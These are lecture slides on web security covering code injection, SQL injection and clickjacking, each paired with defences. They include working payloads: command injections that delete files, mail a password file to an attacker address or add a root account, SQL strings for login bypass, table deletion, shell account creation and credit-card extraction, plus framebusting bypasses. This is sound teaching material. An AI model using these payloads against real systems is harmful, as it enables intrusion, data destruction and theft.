More Attacks and Defenses: SQL Injection and Clickjacking

Dan Boneh
Common vulnerabilities

- **SQL Injection**
  - Browser sends malicious input to server
  - Bad input checking leads to malicious SQL query

- **XSS – Cross-site scripting**
  - Bad web site sends innocent victim a script that steals information from an honest web site

- **CSRF – Cross-site request forgery**
  - Bad web site sends request to good web site, using credentials of an innocent victim who “visits” site

- **Other problems**
  - HTTP response splitting, bad certificates, ...
General code injection attacks

• Enable attacker to execute arbitrary code on the server

• Example: code injection based on eval (PHP)

http://site.com/calc.php (server side calculator)

$in = $_GET['exp'];
eval('$ans = ' . $in . ' ;');

Attack: http://site.com/calc.php?exp=" 10 ; system('rm *.*') "

(URL encoded)
Code injection using `system()`

Example: PHP server-side code for sending email

```php
$email = $_POST["email"]
$subject = $_POST["subject"]
system("mail $email -s $subject < /tmp/joinmynetwork")
```

Attacker can post

http://yourdomain.com/mail.php?
email=hacker@hackerhome.net &
subject="foo < /usr/passwd; ls"

OR

http://yourdomain.com/mail.php?
email=hacker@hackerhome.net&subject="foo;
echo "\"evil::0:0:root:/bin/sh\">>/etc/passwd; ls"
SQL injection
Database queries with PHP
(the wrong way)

Sample PHP

```php
$recipient = $_POST['recipient'];
$sql = "SELECT PersonID FROM People WHERE Username='$recipient' ";
$rs = $db->executeQuery($sql);
```

Problem:
- Untrusted user input ‘recipient’ is embedded directly into SQL command
Basic picture: SQL Injection

1. Post malicious form
2. Unintended SQL query
3. Receive valuable data

Attacker

Victim Server

Victim SQL DB
CardSystems Attack

CardSystems
- credit card payment processing company
- SQL injection attack in June 2005
- put out of business

The Attack
- 263,000 credit card #s stolen from database
- credit card #s stored unencrypted
- 43 million credit card #s exposed
Hundreds of Thousands of Microsoft Web Servers Hacked

Hundreds of thousands of Web sites - including several at the United Nations and in the U.K. government -- have been hacked recently and seeded with code that tries to exploit security flaws in Microsoft Windows to install malicious software on visitors' machines.

The attackers appear to be breaking into the sites with the help of a security vulnerability in Microsoft's Internet Information Services (IIS) Web servers. In an alert issued last week, Microsoft said it was investigating reports of an unpatched flaw in IIS servers, but at the time it noted that it wasn't aware of anyone trying to exploit that particular weakness.

Update, April 29, 11:28 a.m. ET: In a post to one of its blogs, Microsoft says this attack was not the fault of a flaw in IIS: "...our investigation has shown that there are no new or unknown vulnerabilities being exploited. This wave is not a result of a vulnerability in Internet Information Services or Microsoft SQL Server. We have also determined that these attacks are in no way related to Microsoft Security Advisory (951306). The attacks are facilitated by SQL injection exploits and are not issues related to IIS 6.0, ASP, ASP.Net or Microsoft SQL technologies. SQL injection attacks enable malicious users to execute commands in an application's database. To protect against SQL injection attacks the developer of the Web site or application must use industry best practices outlined here. Our counterparts over on the IIS blog have written a post with a wealth of information for web developers and IT Professionals can take to minimize their exposure to these types of attacks by minimizing the attack surface area in their code and server configurations."

Shadowserver.org has a nice writeup with a great deal more information about the mechanics behind this attack, as does the SANS Internet Storm Center.
Main steps in this attack

- Use Google to find sites using a particular ASP style vulnerable to SQL injection
- Use SQL injection on these sites to modify the page to include a link to a Chinese site nihaorr1.com (don't visit that site yourself!)
- The site (nihaorr1.com) serves Javascript that exploits vulnerabilities in IE, RealPlayer, QQ Instant Messenger

Steps (1) and (2) are automated in a tool that can be configured to inject whatever you like into vulnerable sites
Example: buggy login page (ASP)

```asp
set ok = execute( "SELECT * FROM Users
    WHERE user=' " & form("user") & " ' 
    AND pwd=' " & form("pwd") & " '" );

if not ok.EOF
    login success
else  fail;

Is this exploitable?
Web Browser (Client) -> Enter Username & Password

Web Server

SQL Query:
SELECT * FROM Users WHERE user='me' AND pwd='1234'

DB

Normal Query
Bad input

Suppose \( \text{user} = "'or \ 1=1 \ -- " \) (URL encoded)

Then scripts does:

\[
\text{ok} = \text{execute}( \text{SELECT ...} \\
\quad \text{WHERE user= ' or 1=1 -- ... } )
\]

- The "--" causes rest of line to be ignored.
- Now \( \text{ok.EOF} \) is always false and login succeeds.

The bad news: easy login to many sites this way.
Even worse

Suppose user =

```
"' ; DROP TABLE Users -- "
```

Then script does:

```
ok = execute( SELECT ...
               WHERE user= ' ' ; DROP TABLE Users ... )
```

Deletes user table

- Similarly: attacker can add users, reset pwds, etc.
Hi, this is your son's school. We're having some computer trouble.

Oh, dear — did he break something? In a way —

Did you really name your son Robert? DROP TABLE Students; -- ?

Oh, yes. Little Bobby Tables, we call him.

Well, we've lost this year's student records. I hope you're happy. And I hope you've learned to sanitize your database inputs.
Even worse ...

Suppose user =

'; exec cmdshell

'net user badguy badpwd'/ ADD --

Then script does:

ok = execute( SELECT ...

WHERE username= ' ; exec ...

If SQL server context runs as "sa", attacker gets account on DB server.
Getting private info

View pizza order history:

Month: Jan

View
Getting private info

**SQL Query**

```
“SELECT pizza, toppings, quantity, date
FROM orders
WHERE userid=" . $userid .
“AND order_month=" . $_GET[‘month’]
```

What if:

```
month = “
0 AND 1=0
UNION SELECT name, CC_num, exp_mon, exp_year
FROM creditcards ”
```
Results

<table>
<thead>
<tr>
<th>Pizza</th>
<th>Toppings</th>
<th>Quantity</th>
<th>Order Day</th>
</tr>
</thead>
<tbody>
<tr>
<td>Neil Daswani</td>
<td>1234 1234 9999 1111</td>
<td>11</td>
<td>2007</td>
</tr>
<tr>
<td>Christoph Kern</td>
<td>1234 4321 3333 2222</td>
<td>4</td>
<td>2008</td>
</tr>
<tr>
<td>Anita Kesavan</td>
<td>2354 7777 1111 1234</td>
<td>3</td>
<td>2007</td>
</tr>
</tbody>
</table>

Credit Card Info Compromised
Preventing SQL Injection

Never build SQL commands yourself!

- Use parameterized/prepared SQL
- Use ORM framework
Parameterized/prepared SQL

- Builds SQL queries by properly escaping args: ' → \

- Example: Parameterized SQL: (ASP.NET 1.1)
  - Ensures SQL arguments are properly escaped.

```csharp
SqlCommand cmd = new SqlCommand(
    "SELECT * FROM UserTable WHERE
    username = @User AND
    password = @Pwd",
    dbConnection);

cmd.Parameters.Add("@User", Request["user"]);

cmd.Parameters.Add("@Pwd", Request["pwd"]);

cmd.ExecuteReader();
```

- In PHP: bound parameters -- similar function
PHP addslashes()

- **PHP:** `addslashes(" ' or 1 = 1 -- ")`
  
  outputs: " \’ or 1=1 -- "

- Unicode attack: (GBK)
  
  0x 5c → \ 
  0x bf 27 → ç’
  0x bf 5c → 繁

- `$user = 0x bf 27`

- `addslashes ($user) → 0x bf 5c 27 → 繁’`

- Correct implementation: `mysql_real_escape_string()`
And now for something completely different:

Framing attacks
Framing: any site can frame another

```html
<iframe name="myframe"
    src="http://www.google.com/">
  This text is ignored by most browsers.
</iframe>
```

Framed page

Framing page

Why is this a problem?
1. UI Redressing

Framing page can partially cover framed page:

• Cover ad in framed page with ad from framing page
  • Ad clicks are credited to framing page

• Change part of content on page
  • Can cause user to click on buttons in framed page
2. Clickjacking

credit: Collin Jackson
3. Defeating secret images

- Some sites use a secret image to identify site to user
  [e.g. Yahoo! Sign-in Seal, BofA ]
  - secret image determined by cookie

- Phishing sites: frame login page to get correct image to appear
Solution: Framebusting
What is framebusting?

Code on a page that prevents other pages from framing it
What is framebusting?

Framebusting code is often made up of
• a conditional statement and
• a counter action

Common method:
    if (top != self) {
        top.location = self.location;
    }
Framebusting is very common at the Alexa Top 500 sites

<table>
<thead>
<tr>
<th>Sites</th>
<th>Framebusting</th>
</tr>
</thead>
<tbody>
<tr>
<td>Top 10</td>
<td>60%</td>
</tr>
<tr>
<td>Top 100</td>
<td>37%</td>
</tr>
<tr>
<td>Top 500</td>
<td>14%</td>
</tr>
</tbody>
</table>

credit: Gustav Rydstedt
Many framebusting methods

<table>
<thead>
<tr>
<th>Conditional Statements</th>
</tr>
</thead>
<tbody>
<tr>
<td>if (top != self)</td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td>if (top.location != self.location)</td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td>if (top.location != location)</td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td>if (parent.frames.length &gt; 0)</td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td>if (window != top)</td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td>if (window.top !== window.self)</td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td>if (window.self != window.top)</td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td>if (parent &amp;&amp; parent != window)</td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td>if (parent &amp;&amp; parent.frames &amp;&amp; parent.frames.length&gt;0)</td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td>if((self.parent &amp;&amp; !(self.parent===self)) &amp;&amp; (self.parent.frames.length!=0))</td>
</tr>
</tbody>
</table>
Many framebusting methods

<table>
<thead>
<tr>
<th>Counter-Action Statements</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>top.location = self.location</code></td>
</tr>
<tr>
<td><code>top.location.href = document.location.href</code></td>
</tr>
<tr>
<td><code>top.location.href = self.location.href</code></td>
</tr>
<tr>
<td><code>top.location.replace(self.location)</code></td>
</tr>
<tr>
<td><code>top.location.href = window.location.href</code></td>
</tr>
<tr>
<td><code>top.location.replace(document.location)</code></td>
</tr>
<tr>
<td><code>top.location.href = window.location.href</code></td>
</tr>
<tr>
<td><code>top.location.href = &quot;URL&quot;</code></td>
</tr>
<tr>
<td><code>document.write(&quot;&quot;)</code></td>
</tr>
<tr>
<td><code>top.location = location</code></td>
</tr>
<tr>
<td><code>top.location.replace(document.location)</code></td>
</tr>
<tr>
<td><code>top.location.replace('URL')</code></td>
</tr>
<tr>
<td><code>top.location.href = document.location</code></td>
</tr>
</tbody>
</table>
All current framebusting can be defeated
Easy bugs

Goal: only allow my web sites to frame me

if (top.location !== location) {
    if (document.referrer &&
        document.referrer.indexOf("walmart.com") === -1) {
        top.location.replace(document.location.href);
    }
}

Problem: http://badguy.com?q=walmart.com
Trust problems

Goal: site only allows framing by Google images

```javascript
if (!(document.referrer.match(^https?:\/\/[\-a-z0-9.]*\./google\.(co\.|com\.)?[a-z]+/imgres/i)))
  // framebust
```

Problem: Google images does not framebust
- attacker can frame Google images and cause Google images to frame site
Overlay problems

Goal: if framed cover page in opaque div

if (top != self) {
    window.document.write("<div style="
background: black;
opacity: 0.5; filter: alpha(opacity = 50);
position: absolute; top: 0px; left: 0px;
width: 9999px; height: 9999px;
z-index: 1000001"
onClick='top.location.href=window.location.href'>
</div>"");
}
Example
Overlay problems

Content is centered on page.
- Attacker creates frame of width 22000px
- Pushes content outside of opaque box

```html
<iframe width="22000px" height="2500px"
    src="http://facebook.com">
</iframe>

<script>  window.scrollTo(10200, 0 ) ; </script>

Better framebusting: use width="100%"
Generic attacks: location clobbering

```javascript
if (top.location != self.location) {
    top.location = self.location;
}
```

Attack: framing page changes top.location

IE 7: var location = "clobbered";

Safari:
```
    document.__defineSetter__("location", function(){
    });
```

top.location is now undefined ➔ framing code disabled
OnBeforeUnload attack

• Framing page does:

```html
<script>
    window.onbeforeunload = function() {
        return "Do you want to leave site?";
    }
</script>
<iframe src="http://www.paypal.com"/>
```

• User likely to hit cancel and cancel framebusting
OnBeforeUnload attack
Abusing the XSS filter

• IE8 reflective XSS filters:

Browser requests:
http://www.victim.com?var=<script> alert('xss')

Server responds.
if <script> alert('xss');
appears in rendered page, the IE8 filter will replace it with <sc#pt> alert('xss')
Abusing the XSS filter

Original framebusting code

```html
<script>
if(top.location != self.location) //framebust </script>
```

Framing page does:

```html
<iframe src="http://www.victim.com?var=
<script> if (top "
```

XSS filter modifies framebusting script to:

```html
<script> if(top.location != self.location)
```

(XSS filter disables legitimate framebusting code)
Is there any hope?
X-Frames-Options  (IE8, Safari, FF3.7)

• An HTTP header sent in server response

• Two possible values: DENY and SAMEORIGIN

• On DENY: browser will not render in framed context

• On SAMEORIGIN: browser will only render if top frame is same origin as page giving directive

Good defense ... but poor adoption by sites  (4 of top 10,000)

Coarse policies: no whitelisting of partner sites
Current best framebusting code
(but still not good)

```html
<style>
html { visibility: hidden } // initially page is hidden
</style>

<script>
if (self == top) { // unhide content if not framed
    document.documentElement.style.visibility = 'visible';
} else { // framebust if framed
    top.location = self.location;
}
</script>

If Javascript is disabled, page won’t render
(e.g. XSS filter attack would result in a blank page)
Summary

• Framebusting is tricky to get right
  • All currently deployed code can be defeated

• Use X-Frame-Options or code that we provide on previous slide